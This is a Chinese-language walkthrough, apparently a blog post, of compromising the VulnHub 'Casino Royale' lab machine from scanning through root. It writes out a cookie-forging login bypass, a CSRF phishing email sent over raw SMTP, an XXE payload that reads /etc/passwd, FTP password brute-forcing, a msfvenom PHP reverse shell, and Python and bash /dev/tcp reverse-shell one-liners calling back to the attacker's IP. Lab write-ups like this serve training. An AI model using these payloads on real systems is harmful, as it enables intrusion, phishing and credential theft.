Casino royale 渗透笔记


1.前言

本文仅用于技术讨论与研究,不做任何导向,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场,请勿在现实环境中模仿、操作。本文涉及到的工具仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。

2.准备工作

镜像下载地址:链接: https://download.vulnhub.com/casinoroyale/CasinoRoyale.ova
难度:中等
文件下载完后,分别VMware导入,网卡1选择桥接模式,开启靶机
目标:获取/root/flag/flag.sh。
靶机IP:未知
本机kali IP:192.168.1.107

3.arp-scan主机发现

使用命令:

netdiscover -i eth0 -r 192.168.1.0/24 

在这里插入图片描述

发现了局域网中存活的几台主机,IP:192.168.1.124是我们目标机器。

4.网络扫描
nmap -A -p- 192.168.1.124
在这里插入图片描述

编号端口服务版本
121ftpvsftpd 2.0.8 or later
280HTTPApache httpd 2.4.25
325smtpPostfix smtpd
48081httpPHP cli server 5.5 or later

发现系统是linux,开放了21、25、80、8081端口,具体情况如下。

看看网站,浏览器访问:http://192.168.1.124
在这里插入图片描述

显示主页没什么东西。

5.目录扫描

dirsearch -u http://192.168.1.124

在这里插入图片描述

发现一些页面。/includes是空白页面。/index.php和/index.php/login是同一个页面。
在这里插入图片描述

得到一个域名casino-royale.local。修改hosts后登录是一样的主页,没东西。服务端框架是PokerMax Poker League Software。可查看是否有可利用漏洞。/phpmyadmin和/phpmyadmin/index.php是后台登录页面,默认账号密码不能登录,不知道账号密码,可尝试爆破和sql注入。/install和/install/index.php?upgrade/是软件下载安装页面,点击提示失败。
在这里插入图片描述

/robots.txt。显示了一些信息。

6.漏洞利用

searchsploit PokerMax Poker League  #是否有可利用漏洞

在这里插入图片描述

显示有漏洞。6766.txt显示漏洞利用方式。
在这里插入图片描述

根据提示直接访问http://192.168.1.124/pokeradmin/configure.php自动跳转到登录页面http://192.168.1.124/pokeradmin/index.php。得到后台登录页面。
在这里插入图片描述

按F12在控制台输入

javascript:document.cookie = "ValidUserAdmin=admin";

在这里插入图片描述

再访问

http://192.168.1.124/pokeradmin/configure.php

成功绕过登录验证。成功登录后台。
在这里插入图片描述

得到账号密码:admin/raise12million。看到提示把域名加入hosts文件。在Manage Poker Player中看到几个人的信息,valenka信息比较特殊,有email,查看详细信息。
在这里插入图片描述

得到邮件地址valenka,一个路径/vip-client-portfolios/?uri=blog。加到域名后面,访问URL。

http://casino-royale.local/vip-client-portfolios/?uri=blog

在这里插入图片描述

一个网站,是Snowfox CMS,需要登录,不知道账号密码。
在这里插入图片描述

登录需要邮件地址和密码。有找回密码功能,利用前面得到的邮件地址。尝试找回密码。
在这里插入图片描述

提示账号输入错误,邮件地址可能还缺少主机域名部分。重新寻找信息。在Snowfox CMS的Blog页面下部发现信息。获得邮件地址valenka@casino-royale.local。提示可以给她发送邮件,她会查看,邮件标题必须提及已存在的客户或他们知道的人。邮件可以包含任何链接。
在这里插入图片描述

验证找回密码成功,邮件地址正确。可以尝试密码爆破。找回密码邮件发送到邮箱去了。不知道邮箱登录地址,及账号密码。

搜索snowfox cms漏洞

searchsploit snowfox cms

在这里插入图片描述

发现CSRF(跨站请求伪造)漏洞。查看利用方式35301.html。
在这里插入图片描述

上文提到,靶机用户会查看发送给她的邮件。此处又有CSRF漏洞。我们可以利用这个漏洞,把恶意链接包含在邮件中发送给靶机,供她访问。访问后我们能获得管理员权限。
把35301.html复制到/var/www/html。修改内容如下
在这里插入图片描述

修改其中的链接,邮件地址,用户名,密码。启动apache2。测试能正常访问。
使用Telnet 给靶机发送邮件

telnet casino-royale.local 25     #连接邮件服务器
mail from:user					  #发件人
rcpt to:valenka					  #收件人
data                              #编辑
subject:obanno					  #主题,提到靶机知道的人。
test
http://192.168.1.107/35301.html   		  #我们的供靶机访问链接
.									  #编辑结束
quit								  #退出
tail -f /var/log/apache2/access.log  #查看我们Apache访问日志

在这里插入图片描述

发现我们web服务被访问。
使用修改后35301.html文件中邮件地址/密码访问。
在这里插入图片描述

成功登录。
在Admin->Users->manage accounts的le@casino-royale.local中发现信息。
在这里插入图片描述

获得一个路径。 /ultra-access-view/main.php
通过浏览器访问它,没有信息。
在这里插入图片描述

查看源码,发现提示。
在这里插入图片描述

提示可以向该页面post一个xml文件。想到利用XML External Entity (XXE)漏洞。还提示ftp用户密码简单。
创建一个poc.xml文件,内容如下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >]>
<creds>
<customer>&file;</customer>
<password>mypass</password>
</creds>

使用curl访问链接

curl -d @poc.xml http://casino-royale.local/ultra-access-view/main.php

在这里插入图片描述

获取到靶机passwd文件。有ftp用户名,ftpUserULTRA。

7.获取反弹shell

前面说密码简单,爆破密码
爆破ftp密码。

hydra -l ftpUserULTRA -P /usr/share/wordlists/fasttrack.txt ftp://192.168.1.124 

爆破成功
在这里插入图片描述

获得ftp用户名密码,ftpUserULTRA/bankbank。登录ftp。

 ftp 192.168.1.124  

输入账号密码后成功登录
在这里插入图片描述

查看了一遍,其中目录都是空的没有东西。三个文件没有权限。
看到了main.php。加上前文XXE利用的URL。http://casino-royale.local/ultra-access-view/main.php。这个目录可能就是根目录。通过浏览器访问发现,可以直接访问。
http://casino-royale.local/ultra-access-view
在这里插入图片描述

此时可以上传反弹shell脚本,获得反弹shell。

#使用msfvenom生成反弹shell。
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.107 lport=4444 -f raw >shell.php
put shell.php  #通过ftp把shell.php,上传到靶机。
上传失败,没有权限,可能是后缀限制了,把php后缀换成php3,绕过后缀限制。
mv shell.php shell.Php
put shell.Php 			#成功上传
chmod 777 shell.php3   #授予权限

在msfconsole中启动监听

msfconsole
use exploit/multi/handler
search  php  paylaod 
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.107
set lport 4444
run

通过浏览器访问shell.php3运行反弹shell代码。
http://casino-royale.local/ultra-access-view/shell.php3
成功获得反弹shell
在这里插入图片描述

转tty

shell
python -c "import pty; pty.spawn('/bin/bash')"   

8.提权

在目录中浏览,在/var/www/html/includes中看到config.php。查看内容,找对一组数据库用户名/密码valenka/11archives11!
在这里插入图片描述

使用账号密码,登录系统,发现成功登录,存在密码复用的问题。

su valenka
Password: 11archives11!

在这里插入图片描述

find / -perm -u=s -type f 2>/dev/null  #在根目录下迭代查找用户权限为s的普通文件并过滤标准错误输出。

在这里插入图片描述

cd /opt/casino-royale
ls

在这里插入图片描述

在目录下发现index.html文件,是8081端口访问的文件。
在这里插入图片描述

文件调用collect.php。
在这里插入图片描述

collect.php会调用casino-data-collection.py。文件属于le用户。www-data组对其有写入权限。我们写入pythonshell,可以获得le用户的反弹shell。当前用户没有权限,切换用户到www-data

cd /opt/casino-royale    #切换目录
echo "import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.107',5678));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" > casino-data-collection.py
nc -vlp 5678  			 #本机监听5678

浏览器访问http://casino-royale.local:8081/,点击run data collect 。获得用户le反弹shell。
在这里插入图片描述
继续分析
在这里插入图片描述

mi6_detect_test有suid标志位,其他用户执行它会有root权限。我们对它没有写权限。
查看run.sh的内容
在这里插入图片描述

发现执行./mi6_detect_test的效果和run.sh的功能类似。查看mi6_detect_test内容部分乱码。怀疑mi6_detect_test调用了run.sh。因此尝试在run.sh中写入反弹shell。然后执行./mi6_detect_test。

#反弹shell写入run.sh
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/192.168.1.107/4445 0>&1' > run.sh 
nc -vlp 4445  #本机监听4445端口
./mi6_detect_test   #执行,获得root反弹shell。
cd /root/flag
./flag.sh #获得flag

9.结语

主要涉及跨站请求伪造(CSRF)漏洞利用,类似于社工的钓鱼攻击,XXE漏洞利用,msf的简单使用。最后请各位师傅斧正!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值